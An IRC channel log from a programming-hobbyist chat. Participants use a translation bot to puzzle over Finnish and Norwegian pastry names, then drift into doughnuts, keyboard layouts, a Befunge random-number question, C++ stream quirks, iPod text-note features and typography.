02:57:09 -!- thewolfangel has left (?).
03:00:15 <uorygl> Thew ol' fang el.
03:00:25 <uorygl> El Ol' Thew Fang.
03:00:57 <uorygl> No no, Ol' El Thew Fang.
03:01:54 <uorygl> Like Old El Paso, except Ol' instead of Old and Thew Fang instead of Paso.
03:03:17 <oerjan> gawnt hell foe
03:04:05 <uorygl> "Gawnt" isn't a word.
03:04:19 <oerjan> i thought it was close enough to gaunt
03:09:46 <uorygl> `translate korvapuusti
03:09:49 <HackEgo> var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var
03:10:12 <uorygl> `translatefromto fi en korvapuusti
03:10:14 <HackEgo> slap in the face
03:10:46 <uorygl> `translate Korvapuusti on kanelilla, sokerilla ja voilla täytetty pulla.
03:10:48 <HackEgo> Is a slap in the face with cinnamon, sugar and butter filled bun.
03:11:30 <uorygl> I'm guessing that sentence doesn't have a copula.
03:11:36 <uorygl> `translate kanelilla
03:11:38 <HackEgo> var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var
03:11:46 <uorygl> `translatefromto fi en kanelilla
03:11:48 <HackEgo> cinnamon
03:11:55 <oerjan> `translatefromto fi en on
03:11:57 <HackEgo> is
03:12:02 <uorygl> I was wrong.
03:12:39 <uorygl> It looks like -illa means... whatever case you use for "filled with".
03:12:51 <oerjan> yeah
03:12:54 <uorygl> `translatefromto fi en täytetty
03:12:56 <HackEgo> filled
03:13:29 <oerjan> `translatefromto fi en korva
03:13:31 <HackEgo> ear
03:13:43 <oerjan> `translatefromto fi en puusti
03:13:45 <HackEgo> Puusti
03:13:54 <uorygl> If a korva is an ear, why is a korvapuusti a slap in the face?
03:14:07 <uorygl> Are Finns' ears on their faces?
03:14:12 <oerjan> probably more a slap on the ear, then
03:14:24 <oerjan> "ørefik" in norwegian
03:14:27 <uorygl> Wikipedia says it means "slap on the ear".
03:14:38 <oerjan> `translatefromto no fi ørefik
03:14:40 <HackEgo> puhaltaa
03:14:45 <uorygl> "Skillingsbolle", actually.
03:15:06 <oerjan> `translatefromto fi no puhaltaa
03:15:08 <HackEgo> blåse
03:15:14 <oerjan> what the heck
03:15:23 <oerjan> `translatefromto fi no korvapuusti
03:15:25 <HackEgo> slag i ansiktet
03:15:37 <oerjan> `translatefromto no en ørefik
03:15:39 <HackEgo> blow
03:15:42 <oerjan> heh
03:15:46 <uorygl> `translatefromto fi no Skillingsbolle on kanelilla, sokerilla ja voilla täytetty pulla.
03:15:48 <HackEgo> Skillingsbolle er kanel, sukker og smřr fylt bun.
03:15:54 <uorygl> `translate Skillingsbolle er kanel, sukker og smřr fylt bun.
03:15:56 <HackEgo> Skilling Bowl is cinnamon, sugar and sm&#345;r filled bun.
03:15:59 <oerjan> it seems to be wrecking it by going through english
03:16:35 <uorygl> Skilling?
03:16:55 <oerjan> hm a skillingsbolle would be a bun filled _with_ the other things i think
03:17:01 * uorygl begins skilling.
03:17:18 <uorygl> `translate Kanelbolle er kanel, sukker og smřr fylt bun.
03:17:19 <HackEgo> Cinnamon roll are cinnamon, sugar and sm&#345;r filled bun.
03:17:20 <oerjan> skilling is an old coin
03:18:08 <oerjan> that's really not correct norwegian
03:18:15 <uorygl> `translate Skillingsbolle, også kalt kanelbolle, er en tradisjonsrik bolle mange tror stammer fra Bergen, men som selges og har vært solgt i butikker og bakerier over stort sett hele landet.
03:18:17 <HackEgo> Skilling Bowl, also called cinnamon bun, is a traditional bowl many believe stems from Bergen, but sold and have been sold in shops and bakeries across virtually the entire country.
03:18:40 <oerjan> you'd either add a lot of hyphens, or switch things around using the preposition "med"
03:18:46 <uorygl> The entire country!
03:18:59 <oerjan> well yeah
03:19:02 <uorygl> `translate Navnet kommer av at bollene i sin tid kostet én skilling per stykk.
03:19:04 <HackEgo> The name comes from the urchins in the time cost of one shilling per piece.
03:19:24 <uorygl> `translatefromto no en bollene
03:19:27 <HackEgo> urchins
03:19:39 <oerjan> bolle hear doesn't really mean bowl. it means a ball-shaped bakery good
03:19:48 <oerjan> what the heck?
03:19:56 <oerjan> `define urchin
03:19:58 <HackEgo> * poor and often mischievous city child \ [22]wordnetweb.princeton.edu/perl/webwn \ * Urchin was the code name for the neutron generating device that triggered the nuclear detonation of the earliest plutonium atomic bombs such as Fat Man, once the critical mass had been "assembled" by the force of conventional
03:20:10 <oerjan> that's just - wrong
03:20:20 <uorygl> An urchin is a hedgehod, I hear.
03:20:26 <uorygl> Hedgehog, even.
03:20:37 <oerjan> _that_ would be pinnsvin
03:20:49 <Gregor> And a sea urchin is a hedgehog of the sea.
03:20:52 <uorygl> `translatefromto en no urchin
03:20:54 <HackEgo> urchin
03:20:54 <oerjan> i don't think there is a good translation for the bakery "bolle"
03:20:54 <uorygl> Precisely.
03:21:13 <uorygl> Donut hole. :P
03:21:14 <oerjan> ah!
03:21:24 <oerjan> that's "kråkebolle"
03:21:29 <oerjan> but never just "bolle"
03:21:37 <uorygl> What's a kråke?
03:21:39 <oerjan> (sea urchin that is)
03:21:42 <oerjan> kråke = crow
03:21:57 <uorygl> A crow bolle.
03:22:15 <oerjan> basically crows eat them like people eat the other thing
03:23:30 <uorygl> The kråke eat the kråkebolle and people eat the smultring?
03:23:42 <oerjan> um no people eat the bolle
03:23:46 <oerjan> well the smultring too
03:24:05 <uorygl> Crows eat crow-bolles like people eat bolles?
03:24:10 <oerjan> or specifically hvetebolle, the most generic type
03:24:12 <Gregor> What's this about smut-ring?
03:24:15 <oerjan> (wheat)
03:24:16 <Gregor> Oh, smultring.
03:24:31 <uorygl> Gregor: A smultring is a ring-formed cake cooked of smult.
03:24:41 <oerjan> lard ring
03:24:52 <uorygl> Cooked *in* smult.
03:25:01 <oerjan> deep fried dough rings
03:25:08 <Gregor> ... doughnuts.
03:25:15 <uorygl> Ah, that's the word.
03:25:29 <oerjan> same shape, but completely different size and recipe
03:25:51 <uorygl> What's a completely different size and recipe but the same shape?
03:26:05 <oerjan> smultring vs. doughnut
03:26:26 <uorygl> Are those both words in one language?
03:26:48 <uorygl> Oh, huh. "Smultring" is an English word.
03:26:52 <oerjan> well american-style doughnuts are sometimes sold in norway under that name
03:27:12 <oerjan> a smultring wouldn't have any kind of glaze
03:27:25 <Gregor> Not all doughnuts have glaze.
03:27:30 <Gregor> Glazed doughnuts have glaze.
03:27:45 <oerjan> just a small flat dough ring, dropped into hot lard where it expands to a torus shape
03:27:48 <oerjan> aha
03:27:57 <Gregor> So, a doughnut :P
03:28:18 <uorygl> It looks like smultrings are a certain type of smultringer!
03:28:32 <uorygl> Just like the salsa is a certain type of la salsa.
03:28:37 <oerjan> ic so not all american doughnuts conform to the norwegian stereotype of them :)
03:29:05 <Gregor> http://www.voodoodoughnut.com/
03:29:33 <uorygl> Some are rings and glazed, some are rings and not glazed, some are circular but not rings, some are a rounded box with dimension ratio approximately 4:2:1.
03:29:41 <uorygl> The non-ring ones are all filled with something; none of the ring ones are.
03:29:52 <Gregor> uorygl: Well that's just not true.
03:30:11 <uorygl> Of course not. There's no law of physics requiring there to be filling in a non-ring doughnut.
03:30:13 <Gregor> Maple bars are not rings, and are not filled.
03:30:28 <uorygl> It's just that it never happens that way.
03:30:34 <oerjan> http://www.holmstad.no/ on the right are typical smultringer
03:30:44 <Gregor> uorygl: Except for ALL THE FUCKING TIME.
03:31:04 <Gregor> uorygl: You must have the worst doughnut shops in existence :P
03:31:21 <uorygl> Those smultringer look slightly different from our typical non-chocolate unglazed smultringer.
03:31:27 <oerjan> very plain, like most traditional norwegian bakery
03:31:35 <uorygl> Gregor: I've never even seen an actual doughnut shop, I think.
03:31:41 <Gregor> *tsk tsk*
03:31:51 <uorygl> Those smultringer remind me of Twinkies and onion rings.
03:32:19 <Gregor> We would call those "plain doughnuts"
03:32:23 <oerjan> i guess onion rings are the same except with onions as well inside
03:32:23 <Gregor> They're popular with coffee.
03:32:42 <uorygl> What do you call those things on the left? Fruktpizzaer?
03:33:04 <Gregor> "Fruit pizza"? :P
03:33:24 <uorygl> Actually, "frukt" means "ear", and "pizza" means "slap".
03:33:25 * uorygl coughs.
03:33:26 <oerjan> honestly i don't know
03:33:42 * Gregor slaps uorygl's ear
03:33:51 <oerjan> it _would_ seem a reasonable norw. name for it
03:34:14 <Gregor> http://www.voodoodoughnut.com/doughnuts/bacon_maple_bar.jpg <-- the greatest doughnut ever conceived. Full stop.
03:34:18 <oerjan> well assume that was pizza underneath, i suspect it's actually something sweeter
03:34:22 <oerjan> *assuming
03:34:40 -!- calamari has joined.
03:34:44 <uorygl> I would call anything a pizza as long as it's a slab of dough with stuff on it.
03:35:09 <uorygl> Even frukt.
03:35:15 <pikhq> Then Japan has some nasty things to show you.
03:35:19 <Gregor> So, an iced cake is a pizza :P
03:35:26 <uorygl> A cake is not a slab.
03:35:32 <Gregor> A short cake is.
03:35:38 <Gregor> A shortcake, even.
03:35:44 <uorygl> If it's a really short cake, then...
03:35:57 <uorygl> Then yeah, it's a pizza.
03:36:02 <Gregor> Strawberry shortcake is DEFINITELY a kind of pizza by your definition.
03:36:26 <uorygl> My strawberry shortcake never consists of strawberries and whipped cream on a short cake.
03:36:45 <uorygl> It's strawberries and whipped cream and chopped-up biscuits tossed together.
03:36:53 <uorygl> I'm getting the idea that my cuisine is strictly inferior to yours.
03:37:05 <pikhq> Strictly? Yes.
03:37:25 <Gregor> Shortcake is often, but not always, short and round ... it can also be tall and round, or even not round probably :P
03:37:30 <pikhq> This is America -- the country of the pizza bagel.
03:37:35 <Gregor> *barf*
03:37:41 <pikhq> :P
03:37:57 <uorygl> Hmm. I think an open-faced sandwich would qualify as a pizza under my definition.
03:38:35 <Gregor> (Also, shalom and ciao)
03:39:06 <Gregor> uorygl: I figured that since bread slices are sliced, they wouldn't qualify as a slab of dough, since they were in fact a loaf of dough, cut into a slab of bread.
03:39:09 <uorygl> An open-faced smörgås.
03:39:36 <uorygl> I guess that is true.
03:39:54 <oerjan> dammit all this food talk made me forget to eat ->
03:40:12 <uorygl> (I would have used an apostrophe, but I am currently using a Norwegian keyboard with no easy access to apostrophes.)
03:40:30 <uorygl> Now I know why people use acute accents as apostrophes.
03:40:35 <uorygl> It´s easier on some keyboards.
03:43:27 <oerjan> wait, you are actually in norway?
03:44:16 <uorygl> No, I just used a Norwegian keyboard layout.
03:44:18 <uorygl> Briefly.
03:44:23 <oerjan> the apostrophe is just left of the return key, btw
03:44:43 <uorygl> Here in Norway, that is an æ instead of an apostrophe.
03:44:47 <oerjan> to the right of æ
03:45:01 <uorygl> Oh. There isn't a key in between that and return.
03:45:21 <oerjan> oh
03:45:29 <uorygl> My home row: asdfghjkløæ
03:45:29 <pikhq> oerjan: What sort of freakish anti-coding keyboard do you have?
03:45:43 <oerjan> asdfghjkløæ'
03:45:46 <uorygl> Who uses a non-ASCII keyboard for coding?
03:46:05 <pikhq> Japanese people do.
03:46:05 <uorygl> oerjan: what, do you have an extra key in that row?
03:46:13 <oerjan> so it would seem
03:46:16 <Gregor> pikhq: Crazy Ruby-zealots
03:46:21 <pikhq> Though, their keyboard is QWERTY with a few extra buttons to control the IME.
03:46:28 <Sgeo__> A spammer discovered my hometown
03:46:42 <oerjan> it may appear that i have an entire column of convenient accent-making keys there
03:46:47 <Sgeo__> Got a spam claiming to be from the public library of my hometown
03:47:00 <uorygl> It's possible they were guessing.
03:47:02 <pikhq> I've pretty much got one set up right now.
03:47:15 <pikhq> (though with bindings instead of actual buttons)
03:47:16 <Sgeo__> Or maybe it wasn't spam, hm
03:47:41 * uorygl counts the keys on his keyboard.
03:47:57 <Quadrescence> 105
03:48:03 <uorygl> Savant.
03:48:15 <oerjan> uorygl: although changing to EN layout is as simple as pushing alt-right shift. which i don't think i've ever done on purpose, except to undo after doing it accidentally :D
03:48:33 * oerjan does so now
03:48:42 <uorygl> Fourteen keys in the function row, fourteen in the number row, fourteen in the upper row, thirteen in the home row, twelve in the lower row, eleven in the space row.
03:49:21 <uorygl> I'm sure I could find more keys if I looked hard enough.
03:49:43 <pikhq> oerjan: Wait, you code with that horrifying layout?
03:49:51 <oerjan> seventeen, fifteen, fifteen, fifteen, fourteen, twelve
03:49:53 <pikhq> *Brackets* are on Alt-Gr!
03:49:58 <oerjan> pikhq: i don't code that much
03:50:17 <oerjan> and i've never typed for that kind of speed anyway
03:50:24 <pikhq> That also looks mildly annoying for English text in general.
03:51:07 <oerjan> although it's a laptop keyboard, so no numpad
03:52:27 <uorygl> You have a lot more keys than I do.
03:53:33 <uorygl> My top row: Esc, F1-12, eject. Next: `, 1-0, -, =. Next: Tab, q-p, [, ], \. Next: Caps lock: a-l, ;, ', return. Next: shift, z-m, ,, ., /, shift. Next: Fn, control, option, command, space, command, option, arrow keys.
03:53:50 * uorygl counts how many of those are for printable characters.
03:54:35 <uorygl> 48.
03:55:00 <oerjan> command means it's apple layout?
03:55:20 <uorygl> Yep.
03:55:26 * uorygl hands out barf bags.
03:56:16 <oerjan> i think a lot of the extra keys on the right side are things that would usually be on the numpad, just strewn about a bit
03:56:51 <uorygl> Like home, page up, page down, end, insert, delete?
03:56:56 <oerjan> yeah
03:57:07 <uorygl> And the forbidden sysrq and break.
03:57:12 <oerjan> yep
03:58:38 <uorygl> You know, it's kind of annoying that there isn't any obvious separation between operating system keyboard shortcuts and application keyboard shortcuts.
03:58:43 <pikhq> SysRq is actually useful.
03:58:48 <pikhq> ... In Linux.
03:59:01 <pikhq> (Magic SysRq)
04:03:01 <dev_squid> I have a question. Does (http://pastie.org/851114) generate statistically-pseudorandom integers in range of 0-255?
04:03:48 <dev_squid> I just modified one I found in the list of Bef sources on the Cat's-Eye site.
04:04:46 <oerjan> on determining whether something is statistically pseudorandom, i defer to the actual experts.
04:05:27 <oerjan> i mean, isn't the first rule of pseudorandom generators _not_ to try to roll your own.
04:05:42 <dev_squid> You don't have much of a choice in Bef.
04:06:19 <oerjan> well i mean algorithm, not actual implementation.
04:06:38 <dev_squid> It's a solid algorithm.
04:06:51 <oerjan> ok
04:07:17 <oerjan> then i'll sidle away carefully and leave it to the actual _befunge_ experts :D
04:07:19 <uorygl> What does "statistically pseudorandom" mean?
04:07:36 <oerjan> that it passes some common statistical tests, i presume
04:07:38 <dev_squid> It basically takes rolls on 0-128, then adds it to 0-64, then adds it to 0-32, etc...
04:07:51 <dev_squid> I mean...
04:08:37 <dev_squid> Statistically, it doesn't yield results that are any more or less biased than the parent pseudorandom number generator is.
04:10:07 <dev_squid> It seems like it is, but I just can't make sense of why there is a 1 following the set. That would make the range from 0 to 256, which is just wrong.
04:10:30 <dev_squid> I'm pretty sure that 0 is a possible outcome.
04:10:59 <uorygl> Test it!
04:12:31 <dev_squid> I'll test it with the original.
04:28:42 <uorygl> I feel like creating yet another billiard ball language.
04:28:47 <uorygl> I'll call it YABBL.
04:31:40 <oerjan> now you are just yabb'ling
04:35:45 <Sgeo__> Why does Ruby interest me so much?
04:40:50 <uorygl> Well, I can help you answer that question.
04:41:02 <uorygl> Why does Ruby interest you so much?
04:41:59 <oerjan> obviously it's because it's a gem of a language.
04:43:26 * Gregor slaps oerjan.
04:43:33 -!- Gracenotes has quit (Read error: Connection reset by peer).
04:44:35 -!- Gracenotes has joined.
04:46:32 <oerjan> ouch
04:55:38 -!- Oranjer has quit (Read error: Connection reset by peer).
04:56:13 -!- Oranjer has joined.
04:57:33 -!- Oranjer has quit (Read error: Connection reset by peer).
04:58:01 -!- Oranjer has joined.
04:58:40 <Sgeo__> "But I Miss My C++ Iostream"
04:58:46 <Sgeo__> "Sometimes there's just no accounting for taste..."
04:59:58 <uorygl> YABBL described quickly: http://pastebin.ca/1820626
05:00:04 <uorygl> I hope it's correct.
05:00:13 <uorygl> Iostream, eh? That sounds like a scary feature of C++.
05:00:38 <Sgeo__> std::cout << "I've heard it described here as nightmarish." << std::endl
05:00:42 <oerjan> streams on Io
05:00:54 <uorygl> Monads are better! They're easier to understand!
05:01:11 <uorygl> (Everything I understand is easier to understand than everything I don't understand, obviously.)
05:01:14 <Sgeo__> std::cout << "Besides being ugly, which is trivial, you can't determine the flags set on an IOStream, apparently" << std::endl
05:01:32 <uorygl> What does that std::endl even mean?
05:01:53 <Sgeo__> "\n"
05:04:54 <oerjan> uorygl: "A collision is undefined behavior unless it is identical to one of the following:" <-- i assume you mean to include obvious reflections and rotations of those as well?
05:06:28 <oerjan> oh and i think you'd want >< ---> <> and variations
05:07:11 <oerjan> or would that get wrong timing...
05:09:18 <oerjan> hm i suppose it would
05:22:52 <pikhq> 千十字をやった!私がやったぜ!
05:41:59 <Gracenotes> Ubuntu has been kind of buggy lately. a few kernel crashes here and there, random logouts, overheating..
05:42:16 <Gracenotes> I wonder if it's due to my laptop going out the window (figuratively)
05:43:12 -!- lifthrasiir has quit (Ping timeout: 252 seconds).
05:43:16 -!- lifthrasiir has joined.
05:43:43 <pikhq> uorygl: std::endl is '\n'. It is not the system end of line character.
05:44:47 -!- dev_squid has quit (Read error: Connection reset by peer).
05:45:10 -!- dev_squid has joined.
05:46:21 -!- Oranjer has left (?).
05:48:53 -!- Gracenotes has quit (Remote host closed the connection).
05:50:50 -!- dev_squid has quit (Ping timeout: 248 seconds).
05:51:28 -!- dev_squid has joined.
06:10:12 <fizzie> pikhq: No, it's not the system end-of-line character. The endl manipulator is defined to call os.put(os.widen('\n')) followed by os.flush(). You only get the platform end of line character if you're writing into a stream that's opened in text mode, which does \n translation.
06:10:24 <fizzie> Oh, that's exactly what you said.
06:10:45 <pikhq> fizzie: Yes.
06:10:53 <fizzie> Heh, I must have gotten confused since '\n' was already said; I thought you were complaining about that.
06:11:31 <fizzie> I guess it's true what they say about making assumptions; they make an ass out of you and... mptions?
06:16:30 -!- MissPiggy has joined.
06:16:31 -!- MissPiggy has quit (Changing host).
06:16:31 -!- MissPiggy has joined.
06:18:37 <oerjan> never make assumptions about asinine assassins
06:20:01 <MissPiggy> ah, albeit arbitrary aerjans advice absolutely agrees
06:21:42 <oerjan> meanwhile, MissPiggy misuses mischievous misspellings
06:21:43 <fizzie> oerjan: I shall assiduously assay to assimilate your assistance.
06:22:28 <fizzie> "aerjan" sounds like a pirate oerjan.
06:22:31 <fizzie> ARRR, you see.
06:23:31 <oerjan> still, a bit arrtificial
06:26:22 <Gregor> arrjan
06:27:47 <MissPiggy> check out this awesome iPod nano feature
06:27:53 <MissPiggy> You can apply a simple encryption to text, rendering it unrecognizable to the casual reader, by
06:27:58 <MissPiggy> placing it between <ROT13> and </ROT13> tags.
06:28:09 <MissPiggy> it can display text files ... IN ROT 13
06:28:55 <Gregor> ... wow.
06:29:01 <Gregor> The worst part is I'll bet you're not kidding.
06:29:27 * MissPiggy just copied rainbows end onto it, but it's unreadable
06:32:57 <MissPiggy> developer.apple.com/ipod/iPodNotesFeatureGuideCB.pdf
06:36:36 <MissPiggy> "Some presentations do not require the interactivity supported by the Notes feature. A public-service
06:36:40 <MissPiggy> announcement presentation or a guided tour through a single exhibit, for example, may not require
06:36:43 <MissPiggy> any branching or backing up."
06:36:53 <MissPiggy> ?? they are suggesting that someone might use iPod nano as a medium for public service announcements ???
06:45:04 <MissPiggy> "There is the older Tanka-style poem where you get two bonus lines (7 syllables each) to try to summarize all of existence. CREDITS"
06:52:54 -!- FireFly has joined.
07:01:52 <MissPiggy> "You can also configure the iPod to lock out everything but the Notes area; that way, viewers must start there. Called NotesOnly mode or Museum mode, it holds potential for museum curators, tour guides, or realtors interested in presenting facts about a painting, a historical center, or an overpriced property."
07:04:12 <Gregor> That makes perfect sense. The PSO thing above still confuses me :P
07:04:18 <Gregor> But that's not a PSO.
07:04:31 <MissPiggy> PSOX?
07:06:18 <Gregor> ...
07:06:20 <Gregor> Public
07:06:22 <Gregor> Service
07:06:27 <Gregor> Onnouncement :)
07:06:41 * Gregor ^H's a bit.
07:09:05 -!- tombom has joined.
07:11:27 <oerjan> Gregor: ah so that's where MissPiggy dumped my o
07:18:12 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
07:18:18 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:20:17 -!- coppro has joined.
07:33:01 <MissPiggy> “Did you know that you can store and read
07:33:02 <MissPiggy> up to 1000 text notes with your iPod?“
07:33:36 <oerjan> heck no. i didn't even know i had an iPod.
07:33:41 <MissPiggy> XD
07:34:15 -!- coppro has quit (Remote host closed the connection).
07:34:27 <MissPiggy> Have you ever wanted to read the entire Bible? BiblePlayer makes this goal achievable by organizing your bible reading plans. Select the current month and date, and your day's readings are presented. Scroll and select a reading and Audio Bible Player will load and play that reading.
07:36:17 <Gregor> Have you ever wanted to read the deluded ramblings of some long-dead anonymous Jewish (and later, Christian, but let's face it, you won't actually get that far) guys?
07:41:35 <MissPiggy> "It is especially directed to readers whose intellectual tendencies cause them to question the validity of Jesus' claims."
07:42:16 <MissPiggy> http://www.podbible.org/Images/iPod1a.png
07:43:01 <pikhq> Gregor: I'm pretty sure anyone *vaguely* sane would stop by Numbers.
07:43:04 <Sgeo__> It's possible to translate Ruby to Python?!?
07:43:09 <fizzie> It's not always rambling; some parts are just Very Interesting(TM) genealogical listings.
07:43:11 <pikhq> ... Guess what it is? A book. Of numbers.
07:43:11 <fizzie> [14] These be the heads of their fathers' houses: The sons of Reuben the firstborn of Israel; Hanoch, and Pallu, Hezron, and Carmi: these be the families of Reuben.
07:43:12 <fizzie> [15] And the sons of Simeon; Jemuel, and Jamin, and Ohad, and Jachin, and Zohar, and Shaul the son of a Canaanitish woman: these are the families of Simeon.
07:43:12 <fizzie> [16] And these are the names of the sons of Levi according to their generations; Gershon, and Kohath, and Merari: and the years of the life of Levi were an hundred thirty and seven years.
07:43:12 <fizzie> [17] The sons of Gershon; Libni, and Shimi, according to their families.
07:43:15 <Sgeo__> I mean, I was thinking of that
07:43:15 <fizzie> And so on and so on.
07:43:18 <Sgeo__> But it's been done
07:43:22 <Sgeo__> http://github.com/whymirror/unholy
07:43:36 <fizzie> Admittedly the part of living 137 years is a bit suspicious.
07:43:49 <pikhq> fizzie: Oral history...
07:44:13 <pikhq> But WHAT SORT OF CRAZY PERSON WOULD STICK GENEALOGY IN ORAL HISTORY.
07:44:53 <oerjan> someone who couldn't write, and so had nowhere else to stick it
07:44:53 <fizzie> Oh yes, Numbers was the most boring one.
07:45:38 -!- kar8nga has joined.
07:46:56 <MissPiggy> Text may be sharp, but my aging eyes found it hell to try to read, even for menu choices and song titles. I’d have to pass on the nano just for this reason alone (putting aside that I really need 60GB minimum storage…).
07:47:08 <MissPiggy> what the hell is this guy doing with 60 GB storage..
07:47:27 <fizzie> And the GPS track logs of their wanderings!
07:47:30 <fizzie> [15] And they departed from Rephidim, and pitched in the wilderness of Sinai.
07:47:30 <fizzie> [16] And they removed from the desert of Sinai, and pitched at Kibroth-hattaavah.
07:47:30 <fizzie> [17] And they departed from Kibroth-hattaavah, and encamped at Hazeroth.
07:47:30 <fizzie> [18] And they departed from Hazeroth, and pitched in Rithmah.
07:47:40 <fizzie> Couldn't they have put that stuff in an appendix or something?
07:48:11 <fizzie> (There's about 50 consecutive lines of that.)
07:50:03 -!- tombom has quit (Quit: Leaving).
07:51:07 <pikhq> fizzie: The appendix hadn't been invented yet.
07:51:18 <pikhq> Nor had punctuation.
07:51:24 <pikhq> Or paragraphs.
07:51:46 <pikhq> Or good writing, for that matter.
07:52:29 <fizzie> Yes, well, they could have done some refactoring later, after those all had been invented.
07:54:23 <pikhq> "But but literal word of god!"
07:54:30 <pikhq> "To change would be blasphemy!"
07:54:43 -!- oerjan has quit (Quit: Good night).
07:59:01 -!- dev_squid has quit (Ping timeout: 264 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:22:51 -!- Sgeo_ has joined.
08:25:40 -!- Sgeo__ has quit (Ping timeout: 265 seconds).
08:33:35 -!- calamari has quit (Quit: Leaving).
08:38:26 -!- Gracenotes has joined.
08:43:53 -!- MigoMipo has joined.
09:42:04 -!- BeholdMyGlory has joined.
09:52:21 -!- scarf has joined.
11:10:25 -!- MizardX has joined.
11:14:32 -!- kar8nga has quit (Read error: Connection reset by peer).
11:14:48 -!- BeholdMyGlory has quit (Remote host closed the connection).
11:15:55 -!- scarf has quit (Ping timeout: 276 seconds).
11:24:28 -!- MigoMipo has quit (Remote host closed the connection).
11:34:19 -!- scarf has joined.
11:34:21 -!- scarf has quit (Changing host).
11:34:21 -!- scarf has joined.
12:15:52 -!- alise has joined.
12:17:46 <alise> scarf: http://search.cpan.org/~miyagawa/App-cpanminus-0.9911/lib/App/cpanminus.pm
12:17:53 <alise> A CPAN client that doesn't suck?!
12:17:58 * scarf looks
12:18:08 <scarf> also, I'm pretty sure a non-sucking CPAN client is theoretically possible
12:18:32 <alise> It's quiet, uses little RAM, and doesn't ask many questions apparently
12:18:40 <alise> [[Yeah, I think my brain has been damaged since I looked at PyPI, gemcutter, pip and rip. They're quite nice and I really wanted something as nice for CPAN which I love.]]
12:19:03 <alise> "I tested installing MojoMojo, Task::Kensho, KiokuDB, Catalyst, Jifty and Plack using cpanminus and the installations including dependencies were mostly successful."
12:19:27 <scarf> there is One True Test of this: seeing if it can handle installing TAEB
12:19:35 <alise> Go for it
12:19:52 <alise> "You should consider using cpanminus." —chromatic, big perl community guy
12:20:11 <scarf> the issue is I already have TAEB installed; I'd need to test it on a clean install to see if it worked
12:20:23 <scarf> hmm, let me try to run a virtualised knoppix or something like that
12:21:20 <alise> scarf: have /you/ read my apparently-very-whiny and completely flawed in every vway critique of files? :P
12:21:24 <alise> *way
12:21:25 <scarf> no, I haven't
12:21:27 <scarf> but I'm interested
12:21:30 <alise> http://catseye.tc/ehird/files-suck.html
12:21:38 <scarf> heh at the URL
12:21:49 <scarf> gah, that's narrow
12:21:59 <alise> 10 words per line. it's actually best
12:22:00 <alise> so thar
12:22:12 <alise> (backed up by studies and shizz :|)
12:22:15 * scarf loads in w3m
12:22:20 <alise> hey
12:22:25 <alise> I worked hard on making sure it had a vertical rhythm!
12:22:26 <alise> :P
12:22:28 <scarf> so your obnoxious styling doesn't affect my reading
12:23:15 <alise> “Anything from 45 to 75 characters is widely regarded as a satisfactory length of line for a single-column page set in a serifed text face in a text size. The 66-character line (counting both letters and spaces) is widely regarded as ideal. For multiple column work, a better average is 40 to 50 characters.”
12:23:28 <alise> hmm, apparently 66 chars is more like 33em
12:23:41 <Deewiant> 66ex?
12:24:05 <alise> an ex is not a character :P
12:24:11 <alise> anyway 66 chars ~= 10 words iirc
12:24:16 <scarf> alise: that's presumably a guide for printed text, that doesn't take into account vertical scrolling
12:24:26 <alise> scarf: oh i forgot you have no mousewheel
12:24:29 <alise> lol sucks to be you
12:24:31 <Deewiant> Oh darn, ex was height not width
12:24:39 <scarf> alise: I have three mousewheels
12:24:44 <alise> scarf: but none of them work, presumably
12:24:53 <scarf> actually, they're one of the few things that do
12:25:04 <scarf> but no, the pain is having to interact with the computer at all while I'm reading
12:25:13 <alise> also, you'll miss out on all my wonderful whiny-italics if you use w3m
12:25:18 <alise> at least just turn styles off in a graphical browser! :-P
12:25:20 <scarf> no I won't, it underlines instead
12:25:30 <alise> that is not the same :( :p
12:26:10 <alise> I'm quite disappointed that nobody's spotted my diæresis
12:26:27 <scarf> reëncode
12:26:30 <alise> oops, right next to it I have a ' in place of a ’
12:26:43 <alise> too busy thinking how cool I am for having a diæresis i guess :)
12:27:17 <scarf> alise: your comments about representation reminded me of something I'm doing in RL
12:27:18 <Deewiant> I'm so used to them that I didn't really realize it was special
12:27:33 <scarf> I was explaining to a non-programmer the difference between communication formats and formats you actually operate on
12:27:38 <alise> Deewiant: What? Nobody uses the diæresis!
12:27:44 <scarf> PNG is a good format for transmitting an image file to someone else, but it's a bad format for storage in memor
12:27:46 <scarf> *memory
12:27:52 <Deewiant> alise: I use them whenever I remember to
12:28:01 <scarf> and presumably, the argument to make is that in-memory formats are better for storing on a disk than communication formats
12:28:15 <Deewiant> And whenever it's not a bad idea
12:28:17 <scarf> (On the other hand, compressed formats take up less disk space...)
12:28:24 <alise> Deewiant: Where is it a bad idea?
12:28:34 <alise> scarf: It, of course, depends on the use case.
12:28:38 <scarf> yes
12:28:53 <scarf> certainly, uncompressed XML is a bad format to store files in
12:29:03 <scarf> it may be an ideal format for communicating them, but not for storage
12:29:11 <alise> http://codu.org/rxml.php
12:29:16 <Deewiant> alise: With English teachers who don't like that kind of trickery, or people who aren't good enough at English to be anything other than confused by it
12:29:21 <alise> I DISAGREE STRONGLY ^_^
12:29:33 <alise> Deewiant: Trickery? Bah! Beats the unsightly -.
12:29:42 <scarf> alise: I suspect Gregor was joking in that page
12:29:46 <alise> And "reencode" just looks really awkward, like "noone".
12:29:53 <alise> noöne
12:30:01 <Deewiant> nobody ;-P
12:30:07 <alise> Well, yeah.
12:30:16 <scarf> gah, swapping mouse buttons is really inconsistent
12:30:22 <scarf> for instance, it swaps on mice but not on the touchpad
12:30:30 <alise> hmm... what if you have a ü or similar non-English letter, and it should have a diaresis?
12:30:33 <scarf> also, the buttons don't seem to be swapped inside (k)qemu
12:30:34 <alise> or even é
12:30:41 <alise> *diæresis
12:30:53 <Deewiant> Then you don't diaeresize it
12:30:58 <scarf> just use ü̈
12:30:59 <alise> üü :-)
12:31:02 <alise> é¨é
12:31:08 <alise> the latter needs to be a combining char :/
12:31:19 <scarf> é̈
